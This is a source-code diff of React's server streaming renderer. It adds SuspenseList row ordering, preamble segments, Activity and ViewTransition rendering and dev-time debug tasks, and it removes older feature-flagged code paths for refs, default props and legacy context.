+function renderSuspenseList(
+  request: Request,
+  task: Task,
+  keyPath: KeyNode,
+  props: SuspenseListProps,
+): void {
+  const children: any = props.children;
+  const revealOrder: SuspenseListRevealOrder = props.revealOrder;
+  // TODO: Support tail hidden/collapsed modes.
+  // const tailMode: SuspenseListTailMode = props.tail;
+  if (revealOrder !== 'independent' && revealOrder !== 'together') {
+    // For ordered reveal, we need to produce rows from the children.
+    if (isArray(children)) {
+      renderSuspenseListRows(request, task, keyPath, children, revealOrder);
+      return;
+    }
+    const iteratorFn = getIteratorFn(children);
+    if (iteratorFn) {
+      const iterator = iteratorFn.call(children);
+      if (iterator) {
+        if (__DEV__) {
+          validateIterable(task, children, -1, iterator, iteratorFn);
+        }
+        // TODO: We currently use the same id algorithm as regular nodes
+        // but we need a new algorithm for SuspenseList that doesn't require
+        // a full set to be loaded up front to support Async Iterable.
+        // When we have that, we shouldn't buffer anymore.
+        let step = iterator.next();
+        if (!step.done) {
+          const rows = [];
+          do {
+            rows.push(step.value);
+            step = iterator.next();
+          } while (!step.done);
+          renderSuspenseListRows(request, task, keyPath, children, revealOrder);
+        }
+        return;
+      }
+    }
+    if (
+      enableAsyncIterableChildren &&
+      typeof (children: any)[ASYNC_ITERATOR] === 'function'
+    ) {
+      const iterator: AsyncIterator<ReactNodeList> = (children: any)[
+        ASYNC_ITERATOR
+      ]();
+      if (iterator) {
+        if (__DEV__) {
+          validateAsyncIterable(task, (children: any), -1, iterator);
+        }
+        // TODO: Update the task.children to be the iterator to avoid asking
+        // for new iterators, but we currently warn for rendering these
+        // so needs some refactoring to deal with the warning.
+
+        // Restore the thenable state before resuming.
+        const prevThenableState = task.thenableState;
+        task.thenableState = null;
+        prepareToUseThenableState(prevThenableState);
+
+        // We need to know how many total rows are in this set, so that we
+        // can allocate enough id slots to acommodate them. So we must exhaust
+        // the iterator before we start recursively rendering the rows.
+        // TODO: This is not great but I think it's inherent to the id
+        // generation algorithm.
+
+        const rows = [];
+
+        let done = false;
+
+        if (iterator === children) {
+          // If it's an iterator we need to continue reading where we left
+          // off. We can do that by reading the first few rows from the previous
+          // thenable state.
+          // $FlowFixMe
+          let step = readPreviousThenableFromState();
+          while (step !== undefined) {
+            if (step.done) {
+              done = true;
+              break;
+            }
+            rows.push(step.value);
+            step = readPreviousThenableFromState();
+          }
+        }
+
+        if (!done) {
+          let step = unwrapThenable(iterator.next());
+          while (!step.done) {
+            rows.push(step.value);
+            step = unwrapThenable(iterator.next());
+          }
+        }
+        renderSuspenseListRows(request, task, keyPath, rows, revealOrder);
+        return;
+      }
+    }
+    // This case will warn on the client. It's the same as independent revealOrder.
+  }
+
+  if (revealOrder === 'together') {
+    const prevKeyPath = task.keyPath;
+    const prevRow = task.row;
+    const newRow = (task.row = createSuspenseListRow(null));
+    // This will cause boundaries to block on this row, but there's nothing to
+    // unblock them. We'll use the partial flushing pass to unblock them.
+    newRow.boundaries = [];
+    newRow.together = true;
+    task.keyPath = keyPath;
+    renderNodeDestructive(request, task, children, -1);
+    if (--newRow.pendingTasks === 0) {
+      finishSuspenseListRow(request, newRow);
+    }
+    task.keyPath = prevKeyPath;
+    task.row = prevRow;
+    if (prevRow !== null && newRow.pendingTasks > 0) {
+      // If we are part of an outer SuspenseList and our row is still pending, then that blocks
+      // the parent row from completing. We can continue the chain.
+      prevRow.pendingTasks++;
+      newRow.next = prevRow;
+    }
+    return;
+  }
+  // For other reveal order modes, we just render it as a fragment.
+  const prevKeyPath = task.keyPath;
+  task.keyPath = keyPath;
+  renderNodeDestructive(request, task, children, -1);
+  task.keyPath = prevKeyPath;
+}
+
+function renderPreamble(
+  request: Request,
+  task: RenderTask,
+  blockedSegment: Segment,
+  node: ReactNodeList,
+): void {
+  const preambleSegment = createPendingSegment(
+    request,
+    0,
+    null,
+    task.formatContext,
+    false,
+    false,
+  );
+  blockedSegment.preambleChildren.push(preambleSegment);
+  task.blockedSegment = preambleSegment;
+  try {
+    preambleSegment.status = RENDERING;
+    renderNode(request, task, node, -1);
+    pushSegmentFinale(
+      preambleSegment.chunks,
+      request.renderState,
+      preambleSegment.lastPushedText,
+      preambleSegment.textEmbedded,
+    );
+    preambleSegment.status = COMPLETED;
+    finishedSegment(request, task.blockedBoundary, preambleSegment);
+  } finally {
+    task.blockedSegment = blockedSegment;
+  }
 }
 
 function renderHostElement(
@@ -1311,8 +2274,6 @@ function renderHostElement(
   type: string,
   props: Object,
 ): void {
-  const previousComponentStack = task.componentStack;
-  task.componentStack = createBuiltInComponentStack(task, type);
   const segment = task.blockedSegment;
   if (segment === null) {
     // Replay
@@ -1332,26 +2293,36 @@ function renderHostElement(
     task.keyPath = prevKeyPath;
   } else {
     // Render
+    // RenderTask always has a preambleState
     const children = pushStartInstance(
       segment.chunks,
       type,
       props,
       request.resumableState,
       request.renderState,
+      task.blockedPreamble,
       task.hoistableState,
       task.formatContext,
       segment.lastPushedText,
-      task.isFallback,
     );
     segment.lastPushedText = false;
     const prevContext = task.formatContext;
     const prevKeyPath = task.keyPath;
-    task.formatContext = getChildFormatContext(prevContext, type, props);
     task.keyPath = keyPath;
 
-    // We use the non-destructive form because if something suspends, we still
-    // need to pop back up and finish this subtree of HTML.
-    renderNode(request, task, children, -1);
+    const newContext = (task.formatContext = getChildFormatContext(
+      prevContext,
+      type,
+      props,
+    ));
+    if (isPreambleContext(newContext)) {
+      // $FlowFixMe: Refined
+      renderPreamble(request, (task: RenderTask), segment, children);
+    } else {
+      // We use the non-destructive form because if something suspends, we still
+      // need to pop back up and finish this subtree of HTML.
+      renderNode(request, task, children, -1);
+    }
 
     // We expect that errors will fatal the whole task and that we don't need
     // the correct context. Therefore this is not in a finally.
@@ -1366,7 +2337,6 @@ function renderHostElement(
     );
     segment.lastPushedText = false;
   }
-  task.componentStack = previousComponentStack;
 }
 
 function shouldConstruct(Component: any) {
@@ -1394,7 +2364,12 @@ function renderWithHooks<Props, SecondArg>(
     componentIdentity,
     prevThenableState,
   );
-  const result = Component(props, secondArg);
+  let result;
+  if (__DEV__) {
+    result = callComponentInDEV(Component, props, secondArg);
+  } else {
+    result = Component(props, secondArg);
+  }
   return finishHooks(Component, props, result, secondArg);
 }
 
@@ -1406,7 +2381,16 @@ function finishClassComponent(
   Component: any,
   props: any,
 ): ReactNodeList {
-  const nextChildren = instance.render();
+  let nextChildren;
+  if (__DEV__) {
+    nextChildren = (callRenderInDEV(instance): any);
+  } else {
+    nextChildren = instance.render();
+  }
+  if (request.status === ABORTING) {
+    // eslint-disable-next-line no-throw-literal
+    throw null;
+  }
 
   if (__DEV__) {
     if (instance.props !== props) {
@@ -1450,26 +2434,19 @@ export function resolveClassComponentProps(
 ): Object {
   let newProps = baseProps;
 
-  if (enableRefAsProp) {
-    // Remove ref from the props object, if it exists.
-    if ('ref' in baseProps) {
-      newProps = ({}: any);
-      for (const propName in baseProps) {
-        if (propName !== 'ref') {
-          newProps[propName] = baseProps[propName];
-        }
+  // Remove ref from the props object, if it exists.
+  if ('ref' in baseProps) {
+    newProps = ({}: any);
+    for (const propName in baseProps) {
+      if (propName !== 'ref') {
+        newProps[propName] = baseProps[propName];
       }
     }
   }
 
   // Resolve default props.
   const defaultProps = Component.defaultProps;
-  if (
-    defaultProps &&
-    // If disableDefaultPropsExceptForClasses is true, we always resolve
-    // default props here, rather than in the JSX runtime.
-    disableDefaultPropsExceptForClasses
-  ) {
+  if (defaultProps) {
     // We may have already copied the props object above to remove ref. If so,
     // we can modify that. Otherwise, copy the props object with Object.assign.
     if (newProps === baseProps) {
@@ -1494,8 +2471,6 @@ function renderClassComponent(
   props: any,
 ): void {
   const resolvedProps = resolveClassComponentProps(Component, props);
-  const previousComponentStack = task.componentStack;
-  task.componentStack = createClassComponentStack(task, Component);
   const maskedContext = !disableLegacyContext
     ? getMaskedContext(Component, task.legacyContext)
     : undefined;
@@ -1513,14 +2488,13 @@ function renderClassComponent(
     Component,
     resolvedProps,
   );
-  task.componentStack = previousComponentStack;
 }
 
 const didWarnAboutBadClass: {[string]: boolean} = {};
+const didWarnAboutContextTypes: {[string]: boolean} = {};
 const didWarnAboutContextTypeOnFunctionComponent: {[string]: boolean} = {};
 const didWarnAboutGetDerivedStateOnFunctionComponent: {[string]: boolean} = {};
 let didWarnAboutReassigningProps = false;
-const didWarnAboutDefaultPropsOnFunctionComponent: {[string]: boolean} = {};
 let didWarnAboutGenerators = false;
 let didWarnAboutMaps = false;
 
@@ -1532,12 +2506,9 @@ function renderFunctionComponent(
   props: any,
 ): void {
   let legacyContext;
-  if (!disableLegacyContext) {
+  if (!disableLegacyContext && !disableLegacyContextForFunctionComponents) {
     legacyContext = getMaskedContext(Component, task.legacyContext);
   }
-  const previousComponentStack = task.componentStack;
-  task.componentStack = createFunctionComponentStack(task, Component);
-
   if (__DEV__) {
     if (
       Component.prototype &&
@@ -1565,17 +2536,36 @@ function renderFunctionComponent(
     props,
     legacyContext,
   );
+  if (request.status === ABORTING) {
+    // eslint-disable-next-line no-throw-literal
+    throw null;
+  }
+
   const hasId = checkDidRenderIdHook();
   const actionStateCount = getActionStateCount();
   const actionStateMatchingIndex = getActionStateMatchingIndex();
 
   if (__DEV__) {
-    if (disableLegacyContext && Component.contextTypes) {
-      console.error(
-        '%s uses the legacy contextTypes API which was removed in React 19. ' +
-          'Use React.createContext() with React.useContext() instead.',
-        getComponentNameFromType(Component) || 'Unknown',
-      );
+    if (Component.contextTypes) {
+      const componentName = getComponentNameFromType(Component) || 'Unknown';
+      if (!didWarnAboutContextTypes[componentName]) {
+        didWarnAboutContextTypes[componentName] = true;
+        if (disableLegacyContext) {
+          console.error(
+            '%s uses the legacy contextTypes API which was removed in React 19. ' +
+              'Use React.createContext() with React.useContext() instead. ' +
+              '(https://react.dev/link/legacy-context)',
+            componentName,
+          );
+        } else {
+          console.error(
+            '%s uses the legacy contextTypes API which will be removed soon. ' +
+              'Use React.createContext() with React.useContext() instead. ' +
+              '(https://react.dev/link/legacy-context)',
+            componentName,
+          );
+        }
+      }
     }
   }
   if (__DEV__) {
@@ -1590,7 +2580,6 @@ function renderFunctionComponent(
     actionStateCount,
     actionStateMatchingIndex,
   );
-  task.componentStack = previousComponentStack;
 }
 
 function finishFunctionComponent(
@@ -1654,30 +2643,12 @@ function finishFunctionComponent(
 
 function validateFunctionComponentInDev(Component: any): void {
   if (__DEV__) {
-    if (Component) {
-      if (Component.childContextTypes) {
-        console.error(
-          'childContextTypes cannot be defined on a function component.\n' +
-            '  %s.childContextTypes = ...',
-          Component.displayName || Component.name || 'Component',
-        );
-      }
-    }
-
-    if (
-      !disableDefaultPropsExceptForClasses &&
-      Component.defaultProps !== undefined
-    ) {
-      const componentName = getComponentNameFromType(Component) || 'Unknown';
-
-      if (!didWarnAboutDefaultPropsOnFunctionComponent[componentName]) {
-        console.error(
-          '%s: Support for defaultProps will be removed from function components ' +
-            'in a future major release. Use JavaScript default parameters instead.',
-          componentName,
-        );
-        didWarnAboutDefaultPropsOnFunctionComponent[componentName] = true;
-      }
+    if (Component && Component.childContextTypes) {
+      console.error(
+        'childContextTypes cannot be defined on a function component.\n' +
+          '  %s.childContextTypes = ...',
+        Component.displayName || Component.name || 'Component',
+      );
     }
 
     if (typeof Component.getDerivedStateFromProps === 'function') {
@@ -1701,35 +2672,12 @@ function validateFunctionComponentInDev(Component: any): void {
       if (!didWarnAboutContextTypeOnFunctionComponent[componentName]) {
         console.error(
           '%s: Function components do not support contextType.',
-          componentName,
-        );
-        didWarnAboutContextTypeOnFunctionComponent[componentName] = true;
-      }
-    }
-  }
-}
-
-function resolveDefaultPropsOnNonClassComponent(
-  Component: any,
-  baseProps: Object,
-): Object {
-  if (disableDefaultPropsExceptForClasses) {
-    // Support for defaultProps is removed in React 19 for all types
-    // except classes.
-    return baseProps;
-  }
-  if (Component && Component.defaultProps) {
-    // Resolve default props. Taken from ReactElement
-    const props = assign({}, baseProps);
-    const defaultProps = Component.defaultProps;
-    for (const propName in defaultProps) {
-      if (props[propName] === undefined) {
-        props[propName] = defaultProps[propName];
+          componentName,
+        );
+        didWarnAboutContextTypeOnFunctionComponent[componentName] = true;
       }
     }
-    return props;
   }
-  return baseProps;
 }
 
 function renderForwardRef(
@@ -1740,11 +2688,8 @@ function renderForwardRef(
   props: Object,
   ref: any,
 ): void {
-  const previousComponentStack = task.componentStack;
-  task.componentStack = createFunctionComponentStack(task, type.render);
-
   let propsWithoutRef;
-  if (enableRefAsProp && 'ref' in props) {
+  if ('ref' in props) {
     // `ref` is just a prop now, but `forwardRef` expects it to not appear in
     // the props object. This used to happen in the JSX runtime, but now we do
     // it here.
@@ -1781,7 +2726,6 @@ function renderForwardRef(
     actionStateCount,
     actionStateMatchingIndex,
   );
-  task.componentStack = previousComponentStack;
 }
 
 function renderMemo(
@@ -1793,11 +2737,7 @@ function renderMemo(
   ref: any,
 ): void {
   const innerType = type.type;
-  const resolvedProps = resolveDefaultPropsOnNonClassComponent(
-    innerType,
-    props,
-  );
-  renderElement(request, task, keyPath, innerType, resolvedProps, ref);
+  renderElement(request, task, keyPath, innerType, props, ref);
 }
 
 function renderContextConsumer(
@@ -1865,37 +2805,113 @@ function renderLazyComponent(
   props: Object,
   ref: any,
 ): void {
-  const previousComponentStack = task.componentStack;
-  task.componentStack = createBuiltInComponentStack(task, 'Lazy');
-  const payload = lazyComponent._payload;
-  const init = lazyComponent._init;
-  const Component = init(payload);
-  const resolvedProps = resolveDefaultPropsOnNonClassComponent(
-    Component,
-    props,
-  );
-  renderElement(request, task, keyPath, Component, resolvedProps, ref);
-  task.componentStack = previousComponentStack;
+  let Component;
+  if (__DEV__) {
+    Component = callLazyInitInDEV(lazyComponent);
+  } else {
+    const payload = lazyComponent._payload;
+    const init = lazyComponent._init;
+    Component = init(payload);
+  }
+  if (
+    request.status === ABORTING &&
+    // We're going to discard this render anyway.
+    // We just need to reach the point where we suspended in dev.
+    (!__DEV__ || request.status !== STALLED_DEV)
+  ) {
+    // eslint-disable-next-line no-throw-literal
+    throw null;
+  }
+  renderElement(request, task, keyPath, Component, props, ref);
 }
 
-function renderOffscreen(
+function renderActivity(
   request: Request,
   task: Task,
   keyPath: KeyNode,
-  props: Object,
+  props: ActivityProps,
 ): void {
-  const mode: ?OffscreenMode = (props.mode: any);
-  if (mode === 'hidden') {
-    // A hidden Offscreen boundary is not server rendered. Prerendering happens
-    // on the client.
+  const segment = task.blockedSegment;
+  if (segment === null) {
+    // Replay
+    const mode = props.mode;
+    if (mode === 'hidden') {
+      // A hidden Activity boundary is not server rendered. Prerendering happens
+      // on the client.
+    } else {
+      // A visible Activity boundary has its children rendered inside the boundary.
+      const prevKeyPath = task.keyPath;
+      task.keyPath = keyPath;
+      renderNode(request, task, props.children, -1);
+      task.keyPath = prevKeyPath;
+    }
   } else {
-    // A visible Offscreen boundary is treated exactly like a fragment: a
-    // pure indirection.
-    const prevKeyPath = task.keyPath;
-    task.keyPath = keyPath;
+    // Render
+    const mode = props.mode;
+    if (mode === 'hidden') {
+      // A hidden Activity boundary is not server rendered. Prerendering happens
+      // on the client.
+    } else {
+      // An Activity boundary is delimited so that we can hydrate it separately.
+      pushStartActivityBoundary(segment.chunks, request.renderState);
+      segment.lastPushedText = false;
+      // A visible Activity boundary has its children rendered inside the boundary.
+      const prevKeyPath = task.keyPath;
+      task.keyPath = keyPath;
+      // We use the non-destructive form because if something suspends, we still
+      // need to pop back up and finish the end comment.
+      renderNode(request, task, props.children, -1);
+      task.keyPath = prevKeyPath;
+      pushEndActivityBoundary(segment.chunks, request.renderState);
+      segment.lastPushedText = false;
+    }
+  }
+}
+
+function renderViewTransition(
+  request: Request,
+  task: Task,
+  keyPath: KeyNode,
+  props: ViewTransitionProps,
+) {
+  const prevContext = task.formatContext;
+  const prevKeyPath = task.keyPath;
+  // Get the name off props or generate an auto-generated one in case we need it.
+  const autoName = getViewTransitionName(
+    props,
+    task.treeContext,
+    request.resumableState,
+  );
+  task.formatContext = getViewTransitionFormatContext(
+    request.resumableState,
+    prevContext,
+    getViewTransitionClassName(props.default, props.update),
+    getViewTransitionClassName(props.default, props.enter),
+    getViewTransitionClassName(props.default, props.exit),
+    getViewTransitionClassName(props.default, props.share),
+    props.name,
+    autoName,
+  );
+  task.keyPath = keyPath;
+  if (props.name != null && props.name !== 'auto') {
     renderNodeDestructive(request, task, props.children, -1);
-    task.keyPath = prevKeyPath;
+  } else {
+    // This will be auto-assigned a name which claims a "useId" slot.
+    // This component materialized an id. We treat this as its own level, with
+    // a single "child" slot.
+    const prevTreeContext = task.treeContext;
+    const totalChildren = 1;
+    const index = 0;
+    // Modify the id context. Because we'll need to reset this if something
+    // suspends or errors, we'll use the non-destructive render path.
+    task.treeContext = pushTreeContext(prevTreeContext, totalChildren, index);
+    renderNode(request, task, props.children, -1);
+    // Like the other contexts, this does not need to be in a finally block
+    // because renderNode takes care of unwinding the stack.
+    task.treeContext = prevTreeContext;
   }
+  task.formatContext = prevContext;
+  task.keyPath = prevKeyPath;
 }
 
 function renderElement(
@@ -1931,7 +2947,6 @@ function renderElement(
     // www build. As a migration step, we could add a special prop to Offscreen
     // that simulates the old behavior (no hiding, no change to effects).
     case REACT_LEGACY_HIDDEN_TYPE:
-    case REACT_DEBUG_TRACING_MODE_TYPE:
     case REACT_STRICT_MODE_TYPE:
     case REACT_PROFILER_TYPE:
     case REACT_FRAGMENT_TYPE: {
@@ -1941,21 +2956,21 @@ function renderElement(
       task.keyPath = prevKeyPath;
       return;
     }
-    case REACT_OFFSCREEN_TYPE: {
-      renderOffscreen(request, task, keyPath, props);
+    case REACT_ACTIVITY_TYPE: {
+      renderActivity(request, task, keyPath, props);
       return;
     }
     case REACT_SUSPENSE_LIST_TYPE: {
-      const preiousComponentStack = task.componentStack;
-      task.componentStack = createBuiltInComponentStack(task, 'SuspenseList');
-      // TODO: SuspenseList should control the boundaries.
-      const prevKeyPath = task.keyPath;
-      task.keyPath = keyPath;
-      renderNodeDestructive(request, task, props.children, -1);
-      task.keyPath = prevKeyPath;
-      task.componentStack = preiousComponentStack;
+      renderSuspenseList(request, task, keyPath, props);
       return;
     }
+    case REACT_VIEW_TRANSITION_TYPE: {
+      if (enableViewTransition) {
+        renderViewTransition(request, task, keyPath, props);
+        return;
+      }
+      // Fallthrough
+    }
     case REACT_SCOPE_TYPE: {
       if (enableScopeAPI) {
         const prevKeyPath = task.keyPath;
@@ -1967,14 +2982,7 @@ function renderElement(
       throw new Error('ReactDOMServer does not yet support scope components.');
     }
     case REACT_SUSPENSE_TYPE: {
-      if (
-        enableSuspenseAvoidThisFallbackFizz &&
-        props.unstable_avoidThisFallback === true
-      ) {
-        renderBackupSuspenseBoundary(request, task, keyPath, props);
-      } else {
-        renderSuspenseBoundary(request, task, keyPath, props);
-      }
+      renderSuspenseBoundary(request, task, keyPath, props);
       return;
     }
   }
@@ -1989,41 +2997,19 @@ function renderElement(
         renderMemo(request, task, keyPath, type, props, ref);
         return;
       }
-      case REACT_PROVIDER_TYPE: {
-        if (!enableRenderableContext) {
-          const context: ReactContext<any> = (type: any)._context;
-          renderContextProvider(request, task, keyPath, context, props);
-          return;
-        }
-        // Fall through
-      }
       case REACT_CONTEXT_TYPE: {
-        if (enableRenderableContext) {
-          const context = type;
-          renderContextProvider(request, task, keyPath, context, props);
-          return;
-        } else {
-          let context: ReactContext<any> = (type: any);
-          if (__DEV__) {
-            if ((context: any)._context !== undefined) {
-              context = (context: any)._context;
-            }
-          }
-          renderContextConsumer(request, task, keyPath, context, props);
-          return;
-        }
+        const context = type;
+        renderContextProvider(request, task, keyPath, context, props);
+        return;
       }
       case REACT_CONSUMER_TYPE: {
-        if (enableRenderableContext) {
-          const context: ReactContext<any> = (type: ReactConsumerType<any>)
-            ._context;
-          renderContextConsumer(request, task, keyPath, context, props);
-          return;
-        }
-        // Fall through
+        const context: ReactContext<any> = (type: ReactConsumerType<any>)
+          ._context;
+        renderContextConsumer(request, task, keyPath, context, props);
+        return;
       }
       case REACT_LAZY_TYPE: {
-        renderLazyComponent(request, task, keyPath, type, props);
+        renderLazyComponent(request, task, keyPath, type, props, ref);
         return;
       }
     }
@@ -2077,6 +3063,7 @@ function resumeNode(
     renderTask.blockedSegment = resumedSegment;
     renderNode(request, task, node, childIndex);
     resumedSegment.status = COMPLETED;
+    finishedSegment(request, blockedBoundary, resumedSegment);
     if (blockedBoundary === null) {
       request.completedRootSegment = resumedSegment;
     } else {
@@ -2152,6 +3139,9 @@ function replayElement(
           if (task.node === currentNode) {
             // This same element suspended so we need to pop the replay we just added.
             task.replay = replay;
+          } else {
+            // We finished rendering this node, so now we can consume this slot.
+            replayNodes.splice(i, 1);
           }
           throw x;
         }
@@ -2161,7 +3151,7 @@ function replayElement(
         // in the original prerender. What's unable to complete is the child
         // replay nodes which might be Suspense boundaries which are able to
         // absorb the error and we can still continue with siblings.
-        const thrownInfo = getThrownInfo(request, task.componentStack);
+        const thrownInfo = getThrownInfo(task.componentStack);
         erroredReplay(
           request,
           task.blockedBoundary,
@@ -2169,6 +3159,7 @@ function replayElement(
           thrownInfo,
           childNodes,
           childSlots,
+          __DEV__ ? task.debugTask : null,
         );
       }
       task.replay = replay;
@@ -2224,7 +3215,7 @@ function validateIterable(
       const isGeneratorComponent =
         childIndex === -1 && // Only the root child is valid
         task.componentStack !== null &&
-        task.componentStack.tag === 1 && // FunctionComponent
+        typeof task.componentStack.type === 'function' && // FunctionComponent
         // $FlowFixMe[method-unbinding]
         Object.prototype.toString.call(task.componentStack.type) ===
           '[object GeneratorFunction]' &&
@@ -2271,7 +3262,7 @@ function validateAsyncIterable(
       const isGeneratorComponent =
         childIndex === -1 && // Only the root child is valid
         task.componentStack !== null &&
-        task.componentStack.tag === 1 && // FunctionComponent
+        typeof task.componentStack.type === 'function' && // FunctionComponent
         // $FlowFixMe[method-unbinding]
         Object.prototype.toString.call(task.componentStack.type) ===
           '[object AsyncGeneratorFunction]' &&
@@ -2332,6 +3323,23 @@ function renderNodeDestructive(
   task.node = node;
   task.childIndex = childIndex;
 
+  const previousComponentStack = task.componentStack;
+  const previousDebugTask = __DEV__ ? task.debugTask : null;
+
+  pushComponentStack(task);
+
+  retryNode(request, task);
+
+  task.componentStack = previousComponentStack;
+  if (__DEV__) {
+    task.debugTask = previousDebugTask;
+  }
+}
+
+function retryNode(request: Request, task: Task): void {
+  const node = task.node;
+  const childIndex = task.childIndex;
+
   if (node === null) {
     return;
   }
@@ -2342,42 +3350,74 @@ function renderNodeDestructive(
       case REACT_ELEMENT_TYPE: {
         const element: any = node;
         const type = element.type;
-        const key = element.key;
+        const key: ReactKey = element.key;
         const props = element.props;
 
-        let ref;
-        if (enableRefAsProp) {
-          // TODO: This is a temporary, intermediate step. Once the feature
-          // flag is removed, we should get the ref off the props object right
-          // before using it.
-          const refProp = props.ref;
-          ref = refProp !== undefined ? refProp : null;
-        } else {
-          ref = element.ref;
-        }
+        // TODO: We should get the ref off the props object right before using
+        // it.
+        const refProp = props.ref;
+        const ref = refProp !== undefined ? refProp : null;
+
+        const debugTask: null | ConsoleTask = __DEV__ ? task.debugTask : null;
 
         const name = getComponentNameFromType(type);
         const keyOrIndex =
-          key == null ? (childIndex === -1 ? 0 : childIndex) : key;
+          key == null || key === REACT_OPTIMISTIC_KEY
+            ? childIndex === -1
+              ? 0
+              : childIndex
+            : key;
         const keyPath = [task.keyPath, name, keyOrIndex];
         if (task.replay !== null) {
-          replayElement(
-            request,
-            task,
-            keyPath,
-            name,
-            keyOrIndex,
-            childIndex,
-            type,
-            props,
-            ref,
-            task.replay,
-          );
+          if (debugTask) {
+            debugTask.run(
+              replayElement.bind(
+                null,
+                request,
+                task,
+                keyPath,
+                name,
+                keyOrIndex,
+                childIndex,
+                type,
+                props,
+                ref,
+                task.replay,
+              ),
+            );
+          } else {
+            replayElement(
+              request,
+              task,
+              keyPath,
+              name,
+              keyOrIndex,
+              childIndex,
+              type,
+              props,
+              ref,
+              task.replay,
+            );
+          }
           // No matches found for this node. We assume it's already emitted in the
           // prelude and skip it during the replay.
         } else {
           // We're doing a plain render.
-          renderElement(request, task, keyPath, type, props, ref);
+          if (debugTask) {
+            debugTask.run(
+              renderElement.bind(
+                null,
+                request,
+                task,
+                keyPath,
+                type,
+                props,
+                ref,
+              ),
+            );
+          } else {
+            renderElement(request, task, keyPath, type, props, ref);
+          }
         }
         return;
       }
@@ -2387,17 +3427,19 @@ function renderNodeDestructive(
             'Render them conditionally so that they only appear on the client render.',
         );
       case REACT_LAZY_TYPE: {
-        const previousComponentStack = task.componentStack;
-        task.componentStack = createBuiltInComponentStack(task, 'Lazy');
         const lazyNode: LazyComponentType<any, any> = (node: any);
-        const payload = lazyNode._payload;
-        const init = lazyNode._init;
-        const resolvedNode = init(payload);
-
-        // We restore the stack before rendering the resolved node because once the Lazy
-        // has resolved any future errors
-        task.componentStack = previousComponentStack;
-
+        let resolvedNode;
+        if (__DEV__) {
+          resolvedNode = callLazyInitInDEV(lazyNode);
+        } else {
+          const payload = lazyNode._payload;
+          const init = lazyNode._init;
+          resolvedNode = init(payload);
+        }
+        if (request.status === ABORTING) {
+          // eslint-disable-next-line no-throw-literal
+          throw null;
+        }
         // Now we render the resolved node
         renderNodeDestructive(request, task, resolvedNode, childIndex);
         return;
@@ -2449,13 +3491,6 @@ function renderNodeDestructive(
         // for new iterators, but we currently warn for rendering these
         // so needs some refactoring to deal with the warning.
 
-        // We need to push a component stack because if this suspends, we'll pop a stack.
-        const previousComponentStack = task.componentStack;
-        task.componentStack = createBuiltInComponentStack(
-          task,
-          'AsyncIterable',
-        );
-
         // Restore the thenable state before resuming.
         const prevThenableState = task.thenableState;
         task.thenableState = null;
@@ -2493,7 +3528,6 @@ function renderNodeDestructive(
             step = unwrapThenable(iterator.next());
           }
         }
-        task.componentStack = previousComponentStack;
         renderChildrenArray(request, task, children, childIndex);
         return;
       }
@@ -2513,12 +3547,13 @@ function renderNodeDestructive(
       // Clear any previous thenable state that was created by the unwrapping.
       task.thenableState = null;
       const thenable: Thenable<ReactNodeList> = (maybeUsable: any);
-      return renderNodeDestructive(
+      const result = renderNodeDestructive(
         request,
         task,
         unwrapThenable(thenable),
         childIndex,
       );
+      return result;
     }
 
     if (maybeUsable.$$typeof === REACT_CONTEXT_TYPE) {
@@ -2631,7 +3666,7 @@ function replayFragment(
       // replay nodes which might be Suspense boundaries which are able to
       // absorb the error and we can still continue with siblings.
       // This is an error, stash the component stack if it is null.
-      const thrownInfo = getThrownInfo(request, task.componentStack);
+      const thrownInfo = getThrownInfo(task.componentStack);
       erroredReplay(
         request,
         task.blockedBoundary,
@@ -2639,6 +3674,7 @@ function replayFragment(
         thrownInfo,
         childNodes,
         childSlots,
+        __DEV__ ? task.debugTask : null,
       );
     }
     task.replay = replay;
@@ -2689,16 +3725,57 @@ function warnForMissingKey(request: Request, task: Task, child: mixed): void {
     }
     didWarnForKey.add(parentStackFrame);
 
+    const componentName = getComponentNameFromType(child.type);
+    const childOwner = child._owner;
+    const parentOwner = parentStackFrame.owner;
+
+    let currentComponentErrorInfo = '';
+    if (parentOwner && typeof parentOwner.type !== 'undefined') {
+      const name = getComponentNameFromType(parentOwner.type);
+      if (name) {
+        currentComponentErrorInfo =
+          '\n\nCheck the render method of `' + name + '`.';
+      }
+    }
+    if (!currentComponentErrorInfo) {
+      if (componentName) {
+        currentComponentErrorInfo = `\n\nCheck the top-level render call using <${componentName}>.`;
+      }
+    }
+
+    // Usually the current owner is the offender, but if it accepts children as a
+    // property, it may be the creator of the child that's responsible for
+    // assigning it a key.
+    let childOwnerAppendix = '';
+    if (childOwner != null && parentOwner !== childOwner) {
+      let ownerName = null;
+      if (typeof childOwner.type !== 'undefined') {
+        ownerName = getComponentNameFromType(childOwner.type);
+      } else if (typeof childOwner.name === 'string') {
+        ownerName = childOwner.name;
+      }
+      if (ownerName) {
+        // Give the component that originally created this child.
+        childOwnerAppendix = ` It was passed a child from ${ownerName}.`;
+      }
+    }
+
     // We create a fake component stack for the child to log the stack trace from.
-    const stackFrame = createComponentStackFromType(task, (child: any).type);
+    const previousComponentStack = task.componentStack;
+    const stackFrame = createComponentStackFromType(
+      task.componentStack,
+      (child: any).type,
+      (child: any)._owner,
+      (child: any)._debugStack,
+    );
     task.componentStack = stackFrame;
     console.error(
       'Each child in a list should have a unique "key" prop.' +
         '%s%s See https://react.dev/link/warning-keys for more information.',
-      '',
-      '',
+      currentComponentErrorInfo,
+      childOwnerAppendix,
     );
-    task.componentStack = stackFrame.parent;
+    task.componentStack = previousComponentStack;
   }
 }
 
@@ -2709,6 +3786,14 @@ function renderChildrenArray(
   childIndex: number,
 ): void {
   const prevKeyPath = task.keyPath;
+  const previousComponentStack = task.componentStack;
+  let previousDebugTask = null;
+  if (__DEV__) {
+    previousDebugTask = task.debugTask;
+    // We read debugInfo from task.node instead of children because it might have been an
+    // unwrapped iterable so we read from the original node.
+    pushServerComponentStack(task, (task.node: any)._debugInfo);
+  }
   if (childIndex !== -1) {
     task.keyPath = [task.keyPath, 'Fragment', childIndex];
     if (task.replay !== null) {
@@ -2720,6 +3805,10 @@ function renderChildrenArray(
         childIndex,
       );
       task.keyPath = prevKeyPath;
+      if (__DEV__) {
+        task.componentStack = previousComponentStack;
+        task.debugTask = previousDebugTask;
+      }
       return;
     }
   }
@@ -2750,6 +3839,10 @@ function renderChildrenArray(
       }
       task.treeContext = prevTreeContext;
       task.keyPath = prevKeyPath;
+      if (__DEV__) {
+        task.componentStack = previousComponentStack;
+        task.debugTask = previousDebugTask;
+      }
       return;
     }
   }
@@ -2769,6 +3862,60 @@ function renderChildrenArray(
   // only need to reset it to the previous value at the very end.
   task.treeContext = prevTreeContext;
   task.keyPath = prevKeyPath;
